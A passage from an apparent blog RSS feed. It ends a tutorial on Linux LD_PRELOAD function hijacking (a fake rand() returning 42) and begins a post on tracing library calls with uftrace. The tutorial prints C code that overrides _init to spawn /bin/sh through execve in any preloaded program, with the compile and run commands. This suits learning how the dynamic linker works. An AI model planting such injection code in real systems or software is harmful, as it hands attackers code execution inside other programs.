&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ./random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;80623719&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We know this program inside-out, including which library functions it uses because we have access to its source code. But we won’t always have that privilege in the real world. So let’s forget for a while that we have the source code, and let’s try to figure it out from the executable binary.&lt;/p&gt;
&lt;p&gt;The easiest way to do this would be running &lt;code&gt;ltrace&lt;/code&gt;, which intercepts and records the system calls which are called by a process. However, if you’re using some specific versions of &lt;em&gt;binutils&lt;/em&gt;—the compiler toolchain—&lt;code&gt;ltrace&lt;/code&gt; might not work on your program. I’ve detailed that problem and some solutions in &lt;a href=&quot;https://sumit-ghosh.com/posts/list-external-functions-used-exported-executables-shared-libraries/&quot;&gt;this post&lt;/a&gt; and &lt;a href=&quot;https://sumit-ghosh.com/posts/using-uftrace-trace-dynamic-library-calls/&quot;&gt;this post&lt;/a&gt;. If that’s the case for you, use &lt;code&gt;uftrace&lt;/code&gt;, the installation and usage is outlined &lt;a href=&quot;https://sumit-ghosh.com/posts/using-uftrace-trace-dynamic-library-calls/&quot;&gt;here&lt;/a&gt;. We’re going to go with &lt;code&gt;uftrace&lt;/code&gt; in this post.&lt;/p&gt;
&lt;h3 id=&quot;using-uftrace-to-detect-dynamic-library-calls&quot;&gt;Using uftrace to detect dynamic library calls&lt;/h3&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ uftrace --force -a ./random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;558344509&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;# DURATION     TID     FUNCTION&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   3.077 us [  3112] | time();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   4.586 us [  3112] | srand();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;   0.736 us [  3112] | rand();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 237.164 us [  3112] | printf(&quot;%d\n&quot;) = 10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, as you can see from the output, &lt;code&gt;uftrace&lt;/code&gt; lists all the library calls it could intercept// detect. Now we know that it calls &lt;code&gt;rand&lt;/code&gt; to generate a random number, and we would’ve got this information without the source code. Let’s consider that we want to spoof the program into generating the same number every time. That is, we want to hijack the &lt;code&gt;rand&lt;/code&gt; function and change its return value, returning a fixed number every time it’s called.&lt;/p&gt;
&lt;h3 id=&quot;writing-the-rand-function&quot;&gt;Writing the rand function&lt;/h3&gt;
&lt;p&gt;In order to fool the program into using our counterfeit &lt;code&gt;rand&lt;/code&gt;, it’s signature needs to match exactly with that of the actual &lt;code&gt;rand&lt;/code&gt;—the function expected by the program. The signature of a function consists of its;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;Arguments&lt;/li&gt;
&lt;li&gt;Return type&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can get all the details about libc functions using &lt;code&gt;man&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ man 3 rand&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Looking at the man page, we’ll see that the signature of &lt;code&gt;read&lt;/code&gt; is the following ::&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;c&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; rand&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It’s simple enough in this case, but still, we should read the man page of any and all libc function we’re trying to spoof. The man page also tells us how the functions are supposed to &lt;em&gt;function&lt;/em&gt;, if we don’t keep in mind those critical functionalities, the program could crash. Knowing these, we can write our counterfeit function.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;c&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; rand&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 42&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s compile it into a shared library.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ gcc -shared -fpic shlib.c -o shlib.so&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will compile the source file &lt;code&gt;shlib.c&lt;/code&gt; into the shared object &lt;code&gt;shlib.so&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;the-exploit&quot;&gt;The exploit&lt;/h3&gt;
&lt;p&gt;Now that we have a shared library that exports a counterfeit version of &lt;code&gt;rand&lt;/code&gt;, how can we get the program to use it? We’ve discussed this at the start of the article, but let’s do a quick recap.&lt;/p&gt;
&lt;p&gt;Whenever a program launches in Linux, the dynamic linker takes care of loading the required shared libraries. The dynamic linker has a special behavior, it loads the libraries mentioned in the &lt;code&gt;LD_PRELOAD&lt;/code&gt; environment variable first, so those libraries get the most priority and overrides any other system libraries.&lt;/p&gt;
&lt;p&gt;Knowing that, the rest is easy enough.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ LD_PRELOAD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;./shlib.so&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; ./random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;42&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It works!! The &lt;code&gt;random&lt;/code&gt; program uses the &lt;code&gt;rand&lt;/code&gt; function from &lt;code&gt;shlib.so&lt;/code&gt;, and thus it prints 42 every time. Note that setting the environment variable this way will set the variable for that command only, not the whole shell session. Setting the &lt;code&gt;LD_PRELOAD&lt;/code&gt; variable for your whole session might mess things up, so this is the safer way.&lt;/p&gt;
&lt;h3 id=&quot;some-caveats&quot;&gt;Some caveats&lt;/h3&gt;
&lt;h4 id=&quot;1-system-calls-and-libc&quot;&gt;1. System calls and libc&lt;/h4&gt;
&lt;p&gt;System calls, like &lt;code&gt;open&lt;/code&gt;, can be called using three methods;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Directly invoking the system call trap// interrupt using proper machine instruction.&lt;/li&gt;
&lt;li&gt;Using the &lt;a href=&quot;http://man7.org/linux/man-pages/man2/syscall.2.html&quot;&gt;&lt;code&gt;syscall&lt;/code&gt;&lt;/a&gt; function from libc, which is a thin wrapper that takes care of invoking the appropriate machine instruction properly.&lt;/li&gt;
&lt;li&gt;Using the wrapper function &lt;a href=&quot;http://man7.org/linux/man-pages/man2/open.2.html&quot;&gt;&lt;code&gt;open&lt;/code&gt;&lt;/a&gt; from libc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If the program is using either of the first two methods, you can’t hijack it using this technique.&lt;/p&gt;
&lt;h4 id=&quot;2-statically-linked-libraries&quot;&gt;2. Statically linked libraries&lt;/h4&gt;
&lt;p&gt;You can not hijack functions from statically linked libraries, because in that case, the libraries functions are embedded in the executable binary itself, it doesn’t look for it anywhere else.&lt;/p&gt;
&lt;h2 id=&quot;code-injection--the-_init-function&quot;&gt;Code injection :: The _init function&lt;/h2&gt;
&lt;p&gt;Okay, now we know how to hijack library calls. We can even write malicious code in our counterfeit functions, such as spawning a shell, or change the function’s behavior to our advantage.&lt;/p&gt;
&lt;p&gt;But &lt;code&gt;/bin/true&lt;/code&gt; does not call &lt;em&gt;any&lt;/em&gt; libc function whatsoever. How can we inject code into that? Enter the &lt;code&gt;_init&lt;/code&gt; function. The &lt;code&gt;_init&lt;/code&gt; and &lt;code&gt;_fini&lt;/code&gt; functions are run at the start and end of the loading process, respectively. It’s true for all programs, regardless of whether it calls any library functions, so we can use this to our advantage. As you can guess, it’s usually used for startup and cleanup tasks of the loading process. But we’re going to write a counterfeit &lt;code&gt;_init&lt;/code&gt;, and that will execute our malicious code.&lt;/p&gt;
&lt;p&gt;Note that nowadays, it’s usually not recommended to use &lt;code&gt;_init&lt;/code&gt; and &lt;code&gt;_fini&lt;/code&gt; for startup and cleanup tasks. The modern practice is writing constructors and destructors. You can read about it &lt;a href=&quot;https://tldp.org/HOWTO/Program-Library-HOWTO/miscellaneous.html&quot;&gt;here&lt;/a&gt;. But as we’re not going to write startup tasks anyway, let’s go along with &lt;code&gt;_init&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;the-exploit-1&quot;&gt;The exploit&lt;/h3&gt;
&lt;p&gt;As we already know how the process works, this time, let’s keep it short and get to the point.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;c&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; _init&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    char&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;/bin/sh&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;    execve&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Above is the &lt;code&gt;_init&lt;/code&gt; implementation I wrote; it spawns a shell using &lt;code&gt;execve&lt;/code&gt;, pretty naughty, eh? Now let’s compile it and &lt;code&gt;LD_PRELOAD&lt;/code&gt; the compiled library.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ gcc -shared -fpic -nostartfiles shlib.c -o shlib.so&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ LD_PRELOAD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;./shlib.so&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; ./random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ whoami&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;sumit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ exit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ LD_PRELOAD&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;./shlib.so&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; /bin/true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, the code injection worked for both &lt;code&gt;random&lt;/code&gt; and &lt;code&gt;/bin/true&lt;/code&gt;, it spawned a shell! The dynamic linker made sure that the &lt;code&gt;_init&lt;/code&gt; function gets executed, at the very start of the loading process. Note that when your source code has the &lt;code&gt;_init&lt;/code&gt; function, you need to pass the &lt;code&gt;nostartfiles&lt;/code&gt; flag to gcc for it to compile.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I might have gotten a bit impatient while writing the article, and I rushed a bit; so there might be mistakes or some portions of it might not be so clear. If you face any problem while following the article, or if you find any mistake, or simply if you have questions to ask, please let me know in the comments and I’ll get back to as soon as possible. Hope this post helps you. Have a great day!&lt;/p&gt;
</content:encoded></item><item><title>Using Uftrace to Trace Dynamic Library Calls</title><link>https://sumit-ghosh.com/posts/using-uftrace-trace-dynamic-library-calls/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/using-uftrace-trace-dynamic-library-calls/</guid><description>Using Uftrace to Trace Dynamic Library Calls — by Sumit Ghosh.</description><pubDate>Tue, 05 May 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;This post is an update to my &lt;a href=&quot;https://sumit-ghosh.com/posts/list-external-functions-used-exported-executables-shared-libraries/&quot;&gt;last post&lt;/a&gt;, where I regretted that ltrace doesn’t work on binaries that lack the &lt;code&gt;PLT&lt;/code&gt; section, and explored some alternative ways that tries to achieve what ltrace couldn’t. Those alternatives weren’t perfect, I was still looking for a perfect one, so I asked a question at Stack Overflow and the Unix and Linux Stack Exchange, and someone came to the &lt;a href=&quot;https://stackoverflow.com/a/61618754&quot;&gt;rescue&lt;/a&gt; and introduced me to the &lt;a href=&quot;https://github.com/namhyung/uftrace&quot;&gt;uftrace&lt;/a&gt; utility. And I’m glad to say, this is definitely a &lt;em&gt;perfect&lt;/em&gt; alternative to ltrace, that does everything ltrace does, and more.&lt;/p&gt;
&lt;p&gt;The real strength of uftrace lies in it’s ability to trace internal function calls and draw a call graph, which would definitely be immensely helpful in debugging and profiling. I’m not going to discuss that in this article though, I’m just going to share how you can use uftrace as an alternative to ltrace, i.e. to trace library calls.&lt;/p&gt;
&lt;p&gt;Let’s use the following “hello world” program as an example;&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;c&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; &amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; argc&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; *&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;	printf&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;Hello world!&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;	return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We’re gonna compile it with the &lt;code&gt;-z now&lt;/code&gt; flag, which generates a binary without a &lt;code&gt;PLT&lt;/code&gt; section.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ gcc hello.c -o hello -Wl,-z,now&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ ltrace ./hello&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Hello world!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;+++ exited (status 0) +++&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As expected, ltrace couldn’t trace any library call.&lt;/p&gt;
&lt;h3 id=&quot;enter-uftrace&quot;&gt;Enter uftrace&lt;/h3&gt;
&lt;p&gt;Installing uftrace is easy enough. Ubuntu has uftrace in the standard repositories, so a simple &lt;code&gt;apt install uftrace&lt;/code&gt; worked for me. You can also build it from source by following the instructions in &lt;a href=&quot;https://github.com/namhyung/uftrace&quot;&gt;the official repo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Once you have it installed, use it the following way.&lt;/p&gt;
